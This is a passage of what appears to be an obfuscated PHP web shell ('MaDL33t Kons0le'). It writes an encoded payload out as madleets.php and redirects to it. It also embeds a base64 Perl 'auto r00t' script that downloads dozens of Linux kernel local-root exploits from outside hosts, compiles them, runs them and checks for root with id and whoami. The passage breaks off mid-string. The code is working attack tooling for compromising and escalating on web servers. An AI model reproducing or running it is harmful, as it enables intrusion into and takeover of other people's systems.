Y5XHg3OFx4MjArXHgyMFwiIFx4MjIgK1x4MjByZVx4NzNwb1x4NmVzXHg2NS5ceDY0XHg2MXRhLlx4NjNceDZmXHg2Y29yX1x4NjNvbW1hXHg2ZVx4NjQgK1x4MjBceDIyPFx4NjJceDcyIC9ceDNlXHgyMiArIFx4NzNceDY4b3dceDNiXG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1IFx4NjlmKHJceDY1c3Bvblx4NzNceDY1LmNvZFx4NjUgXHgzZD1ceDIwXHgzMlx4MzJceDMwKXtcblx0XHRcdFx0XHR3XHg2OVx4NmVkb1x4NzcuXHg2Y29ceDYzXHg2MXRceDY5b1x4NmVceDIwXHgzZFx4MjAnIjtlY2hvJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bIlx4NmVceDY3d1x4NjJceDZkXHg2N1x4NmZceDc3enkiXX07ZWNobyAiXHgyNztcblx0XHRcdFx0fVx4NjVceDZjc2UgXHg2OVx4NjYoXHg3MmVceDczXHg3MG9uXHg3M2VceDJlY29ceDY0ZVx4MjA9XHgzZCBceDMzMTApe1xuXHRcdFx0XHRcdHJceDY1c1x4NzVsXHg3NFx4MjA9XHgyMFx4NzJceDY1c3BceDZmXHg2ZVx4NzNceDY1LmVyXHg3Mm9yICtceDIwXCI8XHg2Mlx4NzJceDIwL1x4M2VceDIyICtceDIwXHg2M29ceDZlXHg2NmlnX2NceDZmbVx4NmRceDYxXHg2ZWRceDVmcHJceDY1XHg2Nlx4NjlceDc4XHgyMCsgXCIgXHg3NXNlcm5hXHg2ZFx4NjU6ID9cIjtcblx0XHRcdFx0fVx4NjVceDZjc1x4NjVceDIwaVx4NjYoXHg3MmVceDczXHg3MG9ceDZlXHg3M2VceDJlXHg2M1x4NmZceDY0XHg2NVx4MjA9XHgzZCBceDMzMlx4MzApe1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M3VsdFx4MjBceDNkXHgyMGNceDZmXHg2ZWZpXHg2N1x4NWZceDc3XHg2NWxjXHg2Zm1lXHgyMCtceDIwXCJceDNjXHg2MnJceDIwLz5cIiArXHgyMGNceDZmbmZpZ19jb21tXHg2MW5kX3BceDcyZVx4NjZceDY5eCArIFwiIFx4MjJceDNiXG5cdFx0XHRcdH1ceDY1bHNceDY1IGlceDY2KHJceDY1XHg3M1x4NzBceDZmXHg2ZVx4NzNlLmNvXHg2NFx4NjVceDIwXHgzZFx4M2QgXHgzM1x4MzNceDMwKXtcblx0XHRcdFx0XHRyZXNceDc1XHg2Y3RceDIwXHgzZCByXHg2NXNwXHg2Zm5zXHg2NS5lcnJceDZmciArXHgyMFx4MjI8Ylx4NzIgL1x4M2VcIiArXHgyMGNceDZmbmZceDY5XHg2N19ceDYzb21tYVx4NmVkXHg1ZnByXHg2NWZceDY5eFx4MjArIFwiIHBceDYxc1x4NzN3XHg2Zlx4NzJceDY0OiA/XCI7XG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1XHgyMFx4NjlceDY2KFx4NzJlc3BceDZmXHg2ZXNceDY1XHgyZWNvZGVceDIwPT1ceDIwM1x4MzAwKXtcblx0XHRcdFx0XHRceDcyZXN1XHg2Y3QgPSBceDYzb25ceDY2XHg2OWdceDVmY29tbVx4NjFceDZlXHg2NF9ceDcwclx4NjVmXHg2OXggKyBcIlx4MjBceDcwXHg2MXNceDczd1x4NmZyXHg2NDpceDIwP1x4MjI7XG5cdFx0XHRcdH1lbHNle1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M1x4NzVsdFx4MjA9XHgyMFx4Mjc8c3BceDYxblx4MjBjbGFzc1x4M2RcImVceDcyclx4NmZyXHgyMlx4M2UnICtceDIwXHg3MmVzXHg3MFx4NmZuc2UuZXJyXHg2ZnIgK1x4MjBcIlx4M2MvXHg3M1x4NzBhbj48XHg2Mlx4NzIgL1x4M2VcIjtcblx0XHRcdFx0fVxuXHRcdFx0XHRcJChcIiNjb25ceDczb2xceDY1XHgyMilceDJlaFx4NzRtXHg2YyhcJChcIiNceDYzb1x4NmVceDczXHg2Zlx4NmNlXHgyMilceDJlXHg2OFx4NzRtXHg2YygpICsgJzxiXHg3MiAvXHgzZVx4MjcgK1x4MjByXHg2NXNceDc1bFx4NzRceDIwKS5ceDY2b1x4NjNceDc1cygpXHgzYlxuXG5cdFx0XHRcdHRleFx4NzRhcmVhZWxceDY1XHg2ZCBceDNkXHgyMFx4NjRvY1x4NzVtXHg2NW5ceDc0Llx4NjdlXHg3NEVceDZjXHg2NW1ceDY1bnRceDQyeVx4NDlceDY0KCdjXHg2Zlx4NmVzb1x4NmNceDY1XHgyNylceDNiXG5cdFx0XHRcdHRlXHg3OFx4NzRceDYxXHg3Mlx4NjVceDYxXHg2NWxceDY1XHg2ZFx4MmVceDczXHg2M1x4NzJceDZmXHg2Y1x4NmNceDU0XHg2Zlx4NzBceDIwPSB0ZVx4NzhceDc0YVx4NzJlXHg2MWVsZW1ceDJlXHg3M2Nyb1x4NmNceDZjSGVpZ1x4NjhceDc0O1xuXG5cdFx0XHRcdFwkKFwiXHgyM2NceDZmbVx4NmRceDYxXHg2ZWRceDY1XHg3MlwiKVx4MmVmXHg2ZmN1cygpXHgzYlxuXHRcdFx0XHRcblx0XHRcdH0sXHgyMFwiXHg2YXNvXHg2ZVwiKTtcblx0XHRcdFx4NzJceDY1XHg3NHVyXHg2ZVx4MjBceDY2XHg2MWxceDczZVx4M2Jcblx0XHR9ZVx4NmNzXHg2NXtcblx0XHRcdFx4NzJlXHg3NHVyXHg2ZVx4MjB0XHg3Mlx4NzVlXHgzYlxuXHRcdH1cblxuXHR9IFxuXG48L1x4NzNjcmlceDcwdFx4M2Vcblx0XG5ceDNjL2hceDY1YWQ+XG48XHg2Mm9ceDY0XHg3OVx4M2VcblxuPFx4NjRceDY5XHg3NiBpXHg2ND1cIndceDcyYXBceDcwZXJcIlx4M2Vcblx0XHgzY2RpXHg3Nlx4MjBceDYzbFx4NjFceDczcz1cImJceDZmXHg3OFwiXHgzZVxuXHRcdFx4M2NceDY4MT5ceDRkXHg2MVx4NDRMXHgzM1x4MzN0IEtvXHg2ZXMwbFx4NjU8L1x4NjhceDMxPlxuXHRcdDxkaVx4NzZceDIwXHg2OVx4NjRceDNkXHgyMlx4NjNvblx4NzNceDZmbGVceDIyXHgzZSI7ZWNobyR7JGh2dnFxZG5iZHRmfTtlY2hvICJceDIwTWFkTGVceDY1VHMgXHg2OVx4NzMgdGhceDY1XHgyMFx4NjZvclx4NzVtIFx4NjZvclx4MjBceDc0XHg2OFx4NjVceDIwTWFceDY0IFx4NmNvdlx4NjVyJ1x4NzNceDIwb2ZceDIwU2VjXHg3NXJceDY5dFx4NzlceDIwXHg2MW5kXHgyMFBlblx4NjV0XHg3MmFceDc0aW9uLlx4M2MvZGlceDc2PlxuXHRcdFx4M2NceDY5bnB1XHg3NFx4MjB0XHg2NVx4Nzh0PVx4MjJceDc0XHg2NVx4NzNceDc0XHgyMlx4MjBceDY5XHg2NFx4M2RceDIyXHg2M29ceDZkXHg2ZFx4NjFuZGVyXHgyMlx4MjBvbmtceDY1XHg3OXVwPVx4MjJceDY1eFx4NjVjdXRceDY1KFx4NzRoXHg2OVx4NzMsXHg2NVx4NzZlblx4NzQpXHgzYlx4MjJceDIwZGlzXHg2MVx4NjJsXHg2NWQ9XCJkaVx4NzNhYmxlXHg2NFwiXHgyMCBzdHlsXHg2NT1cIlx4NzdceDY5ZHRceDY4OjdceDM4XHgzNlx4NzB4O1x4MjIvXHgzZVxuXHQ8L2RpXHg3Nlx4M2Vcblx0XHgzY2RpXHg3NiBjXHg2Y2FzXHg3M1x4M2RceDIyc1x4NzBhY2VceDcyXHgyMj5ceDNjL2RceDY5dlx4M2VcbjwvXHg2NGl2XHgzZVxuXG48L2JvXHg2NHk+XG48L1x4NjhceDc0XHg2ZGxceDNlXG5cblxuXG4iOwogPz4K';
1643 $file = fopen("madleets.php","w");
1644 $write = fwrite ($file ,base64_decode($madleets));
1645 fclose($file);
1646 header("location:madleets.php"); }
1647
1648 if(isset($_POST['rooter'])){
1649 $rooter = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpwcmludCAiICAgICAgICAgQW5vbkdob3N0IFNtNHNoIGF1dG8gcjAwdCAgICAgICAgICBcbiI7CnByaW50ICIgICAgICAgICAgICAgICAgIDIwMDUgLSAyMDEzICAgICAgICAgICAgICAgIFxuIjsKcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOwpwcmludCAiICAgICggIF9fX18gKSggIF9fICAgKSggIF9fICAgKVxfXyAgIF9fLyAgICBcbiI7CnByaW50ICIgICAgfCAoICAgICl8fCAoICApICB8fCAoICApICB8ICAgKSAoICAgICAgIFxuIjsKcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOwpwcmludCAiICAgIHwgICAgIF9fKXwgKC8gLykgfHwgKC8gLykgfCAgIHwgfCAgICAgICBcbiI7CnByaW50ICIgICAgfCAoXCAoICAgfCAgIC8gfCB8fCAgIC8gfCB8ICAgfCB8ICAgICAgIFxuIjsKcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOwpwcmludCAiICAgIHwvICAgXF9fLyhfX19fX19fKShfX19fX19fKSAgIClfKCAgICAgICBcbiI7CnByaW50ICIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFxuIjsKcHJpbnQgIgkJCSAgIENvZGVkIGJ5IEh1c3NlaU45OEQgICAgICAgICAgICAgXG4iOwpwcmludCAiCQkJCSAgICAgMTkvMDgvMjAxNAkJICAgICAgICAgICBcbiI7CnByaW50ICIJCSAgVG8gcm9vdCBsaW51eCAsIHBlcmwgJDAgbG54ICAgICAgICAgIFxuIjsKcHJpbnQgIgkJICBUbyByb290IEJzZCAsICBwZXJsICQwIGJzZCAgICAgICAgICAgXG4iOwpwcmludCAiCQkgIFRvIHJvb3QgU3VuT1MgLCBwZXJsICQwIHN1bm9zICAgICAgICBcbiI7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKCgppZiAoJEFSR1ZbMF0gPX4gImxueCIgKQp7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7CnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgIEhhdmUgYSBjb2ZmZSAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgIFJvb3RpbmcgbGludXggICAgICAgICAgI1xuIjsKcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7CnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgbG54O2NkIGxueCIpOwpwcmludCAiWytdIFdhaXQuLlxuIjsKCnN5c3RlbSgid2dldCB3d3cudHV4LXBsYW5ldC5mci9wdWJsaWMvaGFjay9leHBsb2l0cy9rZXJuZWwvbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcy5jIik7CnN5c3RlbSgiZ2NjIC1vIGdheXJvcyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zLmMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7CnN5c3RlbSgiLi9nYXlyb3MiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IHd3dy50dXgtcGxhbmV0LmZyL3B1YmxpYy9oYWNrL2V4cGxvaXRzL2tlcm5lbC92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQuYyIpOwpzeXN0ZW0oImdjYyAtbyB2bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0LmMiKTsKc3lzdGVtKCJjaG1vZCA3Nzcgdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiLi92bXNwbGljZS1sb2NhbC1yb290LWV4cGxvaXQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC94MiIpOwpzeXN0ZW0oImNobW9kIDc3NyB4MiIpOwpzeXN0ZW0oIi4veDIiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC94Iik7CnN5c3RlbSgiY2htb2QgNzc3IHgiKTsKc3lzdGVtKCIuL3giKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC91c2VsaWIyNCIpOwpzeXN0ZW0oImNobW9kIDc3NyB1c2VsaWIyNCIpOwpzeXN0ZW0oIi4vdXNlbGliMjQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9yb290MiIpOwpzeXN0ZW0oImNobW9kIDc3NyByb290MiIpOwpzeXN0ZW0oImlkIik7CgpzeXN0ZW0oIi4vcm9vdDIiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9rbW9kMiIpOwpzeXN0ZW0oImNobW9kIDc3NyBrbW9kMiIpOwpzeXN0ZW0oIi4va21vZDIiKTsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9oMDBseXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi9oMDBseXNoaXQiKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC8yLjYueC9leHAuc2giKTsKc3lzdGVtKCJjaG1vZCA3NTUgZXhwLnNoIik7CnN5c3RlbSgic2ggZXhwLnNoIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvZWxmbGJsIik7CnN5c3RlbSgiY2htb2QgNzc3IGVsZmxibCIpOwpzeXN0ZW0oIi4vZWxmbGJsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvMi42LngvY3c3LjMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgY3c3LjMiKTsKc3lzdGVtKCIuL2N3Ny4zIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsKc3lzdGVtKCIuLzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMjc0LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTI3NC0yMDExIik7CnN5c3RlbSgiLi8yLjYuMTgtMjc0LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC02LXg4Ni0yMDExIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02LXg4Ni0yMDExIik7CnN5c3RlbSgiLi8yLjYuMTgtNi14ODYtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3Qvdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiY2htb2QgNzc3IHZtc3BsaWNlLWxvY2FsLXJvb3QtZXhwbG9pdCIpOwpzeXN0ZW0oIi4vdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7CnN5c3RlbSgiLi8yMDExIExvY2FsUm9vdCBGb3IgMi42LjE4LTEyOC5lbDUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zMyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsKc3lzdGVtKCIuLzIuNi4zMyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4xOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMSIpOwpzeXN0ZW0oIi4vMi42LjM0LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4zNC0yMDExRXhwbG9pdDEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MSIpOwpzeXN0ZW0oIi4vMi42LjM0LTIwMTFFeHBsb2l0MSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzQtMjAxMUV4cGxvaXQyIik7CnN5c3RlbSgiLi8yLjYuMzQtMjAxMUV4cGxvaXQyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzciKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM3Iik7CnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM3LXJjMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzctcmMyIik7CnN5c3RlbSgiLi8yLjYuMzctcmMyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC96MWQtMjAxMSIpOwpzeXN0ZW0oImNobW9kIDc3NyB6MWQtMjAxMSIpOwpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAxLTIiKTsKc3lzdGVtKCIuLzEtMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMS0zIik7CnN5c3RlbSgiY2htb2QgNzc3IDEtMyIpOwpzeXN0ZW0oIi4vMS0zIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xLTQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMS00Iik7CnN5c3RlbSgiLi8xLTQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDEwIik7CnN5c3RlbSgiLi8xMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTEiKTsKc3lzdGVtKCIuLzExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAxMiIpOwpzeXN0ZW0oIi4vMTIiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDE0Iik7CnN5c3RlbSgiLi8xNCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTUuc2giKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTUuc2giKTsKc3lzdGVtKCIuLzE1LnNoIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNTE1MCIpOwpzeXN0ZW0oImNobW9kIDc3NyAxNTE1MCIpOwpzeXN0ZW0oIi4vMTUxNTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MjAwIik7CnN5c3RlbSgiY2htb2QgNzc3IDE1MjAwIik7CnN5c3RlbSgiLi8xNTIwMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTYiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMTYiKTsKc3lzdGVtKCIuLzE2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8xNi0xIik7CnN5c3RlbSgiY2htb2QgNzc3IDE2LTEiKTsKc3lzdGVtKCIuLzE2LTEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDE4Iik7CnN5c3RlbSgiLi8xOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMTgtNSIpOwpzeXN0ZW0oImNobW9kIDc3NyAxOC01Iik7CnN5c3RlbSgiLi8xOC01Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yIik7CnN5c3RlbSgiY2htb2QgNzc3IDIiKTsKc3lzdGVtKCIuLzIiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLTEiKTsKc3lzdGVtKCIuLzItMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi02LTktMjAwNSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA1Iik7CnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLTYtOS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsKc3lzdGVtKCIuLzItNi05LTIwMDYiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNC4yMS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsKc3lzdGVtKCIuLzItNi05LTIwMDYiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNC4zNi45Mi42LjI3LjUgLSAyMDA4IExvY2FsIHJvb3QiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOwpzeXN0ZW0oIi4vMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xNjQtMjAxMCIpOwpzeXN0ZW0oIi4vMi42LjE4LTE2NC0yMDEwIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMTgtMTk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsKc3lzdGVtKCIuLzIuNi4xOC0xOTQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0xOTQuMS0yMDEwIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMS0yMDEwIik7CnN5c3RlbSgiLi8yLjYuMTgtMTk0LjEtMjAxMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NC4yLTIwMTAiKTsKc3lzdGVtKCIuLzIuNi4xOC0xOTQuMi0yMDEwIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMi1ob29seXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjItaG9vbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuMi1ob29seXNoaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjAiKTsKc3lzdGVtKC